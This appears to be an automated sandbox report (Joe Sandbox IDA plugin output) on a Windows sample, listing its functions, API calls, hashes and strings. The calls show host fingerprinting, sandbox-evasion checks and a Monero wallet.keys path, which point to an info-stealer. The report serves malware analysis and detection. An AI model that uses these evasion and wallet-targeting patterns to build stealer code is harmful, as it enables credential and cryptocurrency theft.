Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 7b17dd5be825079e6c6407e0721df7c704b6e8e779b8b2c15d57cca65e82278a
Instruction ID: 3375a1c52d4ff36145b057de6992fc586ec7458014a10e3e7ec180d782b3b4c8
Opcode Fuzzy Hash: 7b17dd5be825079e6c6407e0721df7c704b6e8e779b8b2c15d57cca65e82278a
Instruction Fuzzy Hash: 53211FB1D00209ABDF14DFA4E849BDE7B75FB45320F108629F915A72D0EB706A09CF91

Function 009B7130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B7144
RtlAllocateHeap.NTDLL(00000000), ref: 009B714B
RegOpenKeyExA.KERNEL32(80000002,0147BD08,00000000,00020119,00000000), ref: 009B717D
RegQueryValueExA.KERNEL32(00000000,0148F0E8,00000000,00000000,?,000000FF), ref: 009B719E
RegCloseKey.ADVAPI32(00000000), ref: 009B71A8

Strings

Windows 11, xrefs: 009B715D

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 004d7f94388acaf54aa46d61fa57b7a61e28101826ef0d710a54f00ebb3d524a
Instruction ID: 1ed87cd437ac5f84a6c45be5e73cc38d0154fc6bbb39296890d7f3345ef24178
Opcode Fuzzy Hash: 004d7f94388acaf54aa46d61fa57b7a61e28101826ef0d710a54f00ebb3d524a
Instruction Fuzzy Hash: 25016779A04308BFD700DBE8DD59FAEBB7CEB4C710F104158FA1997280DA7099048B60

Function 009B71C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B71D4
RtlAllocateHeap.NTDLL(00000000), ref: 009B71DB
RegOpenKeyExA.KERNEL32(80000002,0147BD08,00000000,00020119,009B7159), ref: 009B71FB
RegQueryValueExA.KERNEL32(009B7159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 009B721A
RegCloseKey.ADVAPI32(009B7159), ref: 009B7224

Strings

CurrentBuildNumber, xrefs: 009B7211

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ea77a6dcfd9f3052fce8f6c94f6d21d943e5d88ce4304cf925e67d0d7dd6d8bc
Instruction ID: fe9aecac89ef99dec49fa180b2393d231a72f1922665faa96d702562a323e225
Opcode Fuzzy Hash: ea77a6dcfd9f3052fce8f6c94f6d21d943e5d88ce4304cf925e67d0d7dd6d8bc
Instruction Fuzzy Hash: BF01E1B9A40208BBDB10DBE4DC5AFAEBB78EB48705F104558FA19A7281DA7059048B51

Function 009B6490 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,014814E8), ref: 009B92B1
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01481500), ref: 009B92CA
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01481518), ref: 009B92E2
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01481668), ref: 009B92FA
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01481530), ref: 009B9313
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01489300), ref: 009B932B
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01476280), ref: 009B9343
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,014762C0), ref: 009B935C
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01481548), ref: 009B9374
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01481560), ref: 009B938C
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,01481578), ref: 009B93A5
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,014815A8), ref: 009B93BD
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,014761A0), ref: 009B93D5
Part of subcall function 009B9270: GetProcAddress.KERNEL32(76210000,014815D8), ref: 009B93EE

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009A11D0: ExitProcess.KERNEL32 ref: 009A1211

Part of subcall function 009A1160: GetSystemInfo.KERNEL32(?), ref: 009A116A
Part of subcall function 009A1160: ExitProcess.KERNEL32 ref: 009A117E

Part of subcall function 009A1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 009A112B
Part of subcall function 009A1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 009A1132
Part of subcall function 009A1110: ExitProcess.KERNEL32 ref: 009A1143

Part of subcall function 009A1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 009A123E
Part of subcall function 009A1220: __aulldiv.LIBCMT ref: 009A1258
Part of subcall function 009A1220: __aulldiv.LIBCMT ref: 009A1266
Part of subcall function 009A1220: ExitProcess.KERNEL32 ref: 009A1294

Part of subcall function 009B6210: GetUserDefaultLangID.KERNEL32 ref: 009B6214

Part of subcall function 009A1190: ExitProcess.KERNEL32 ref: 009A11C6

Part of subcall function 009B72F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009A11B7), ref: 009B7320
Part of subcall function 009B72F0: RtlAllocateHeap.NTDLL(00000000), ref: 009B7327
Part of subcall function 009B72F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 009B733F

Part of subcall function 009B7380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B73B0
Part of subcall function 009B7380: RtlAllocateHeap.NTDLL(00000000), ref: 009B73B7
Part of subcall function 009B7380: GetComputerNameA.KERNEL32(?,00000104), ref: 009B73CF

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01489310,?,009C10DC,?,00000000,?,009C10E0,?,00000000,009C0ADA), ref: 009B656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 009B6588
CloseHandle.KERNEL32(00000000), ref: 009B6599
Sleep.KERNEL32(00001770), ref: 009B65A4
CloseHandle.KERNEL32(?,00000000,?,01489310,?,009C10DC,?,00000000,?,009C10E0,?,00000000,009C0ADA), ref: 009B65BA
ExitProcess.KERNEL32 ref: 009B65C2

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 2e63128fd1ef24bebd80a81ae11fb4411105598851171d880d0ecde778283d95
Instruction ID: a888086a1f276a18d6c802f7a1547edff1b4ff22138a9d9b367106b6a796b8ab
Opcode Fuzzy Hash: 2e63128fd1ef24bebd80a81ae11fb4411105598851171d880d0ecde778283d95
Instruction Fuzzy Hash: E3312F71904208BADB04FBF0DE56FEE7779AFD9320F004518F512A6092DFB46A04C7A2

Function 009A9A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009A9A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 009A9A61
LocalAlloc.KERNEL32(00000040,?), ref: 009A9A81
ReadFile.KERNEL32(000000FF,?,00000000,009A148F,00000000), ref: 009A9AAA
LocalFree.KERNEL32(009A148F), ref: 009A9AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 009A9AEA

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: abca2b9c392015977736ee6f0ebf425adebe6440cbf9e36c08c07b53634a67f7
Instruction ID: 4dc074ff6db75d5dafd7a848b5939353900615f40ad3f12a156be98cc95fd542
Opcode Fuzzy Hash: abca2b9c392015977736ee6f0ebf425adebe6440cbf9e36c08c07b53634a67f7
Instruction Fuzzy Hash: BD311AB4A00209EFDB14CFA4C885FEE7BB9FF49304F108159E915AB290DB74A941CFA0

Function 009A1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 009A123E
__aulldiv.LIBCMT ref: 009A1258
__aulldiv.LIBCMT ref: 009A1266
ExitProcess.KERNEL32 ref: 009A1294

Strings

@, xrefs: 009A1233

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 1063ecffd5e1f48a1ef75ecc22946dbcb2968f7ed8b5872fda63634ba029c7bd
Instruction ID: 11c237bbe51e97d2ce6dafc633d7d16d3490d66e4c1697ea15f155085c1d3246
Opcode Fuzzy Hash: 1063ecffd5e1f48a1ef75ecc22946dbcb2968f7ed8b5872fda63634ba029c7bd
Instruction Fuzzy Hash: 86016DB0D40308BBEB10EBE4CC4AB9EBBBCAB54705F248459FA04B61C1DB7495448B99

Function 009B3BC0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0148E310,00000000,00020119,?), ref: 009B3C04
RegQueryValueExA.ADVAPI32(?,0148F478,00000000,00000000,00000000,000000FF), ref: 009B3C28
RegCloseKey.ADVAPI32(?), ref: 009B3C32
lstrcat.KERNEL32(?,00000000), ref: 009B3C57
lstrcat.KERNEL32(?,0148F3B8), ref: 009B3C6B

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: bb812f4ee02f9dff62c0b866b8bd6f6d32cae69185bbcd7e9627ef49a908d9aa
Instruction ID: 67eab103b0afb10e7c0f558da728ccc2ae1beee7548b4fe491a15edbfcfa2c37
Opcode Fuzzy Hash: bb812f4ee02f9dff62c0b866b8bd6f6d32cae69185bbcd7e9627ef49a908d9aa
Instruction Fuzzy Hash: 894145B6D00108ABDB14EBE0DC96FEE777DAB9C300F008958B61957181FEB55B888BD1

Function 6CB0C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CB0C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CB0C969
GetSystemInfo.KERNEL32(?), ref: 6CB0C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CB0C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CB0C9E2

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2bd83361f9c4b3a50dd4044eeda9ca7763603878113ebeefb92b8b81a52f8f2
Instruction ID: e52a560b64fb8ec01d3bee71dea97f631a9332fe15429846f2e2eb625c59cca0
Opcode Fuzzy Hash: b2bd83361f9c4b3a50dd4044eeda9ca7763603878113ebeefb92b8b81a52f8f2
Instruction Fuzzy Hash: D921F9317416686BDB06AA64CC88BAE77B9FF46704F60051AFD07A7B80DB705D008BB6

Function 009B78A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B78D7
RtlAllocateHeap.NTDLL(00000000), ref: 009B78DE
RegOpenKeyExA.KERNEL32(80000002,0147BCD0,00000000,00020119,?), ref: 009B78FE
RegQueryValueExA.KERNEL32(?,0148E070,00000000,00000000,000000FF,000000FF), ref: 009B791F
RegCloseKey.ADVAPI32(?), ref: 009B7932

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
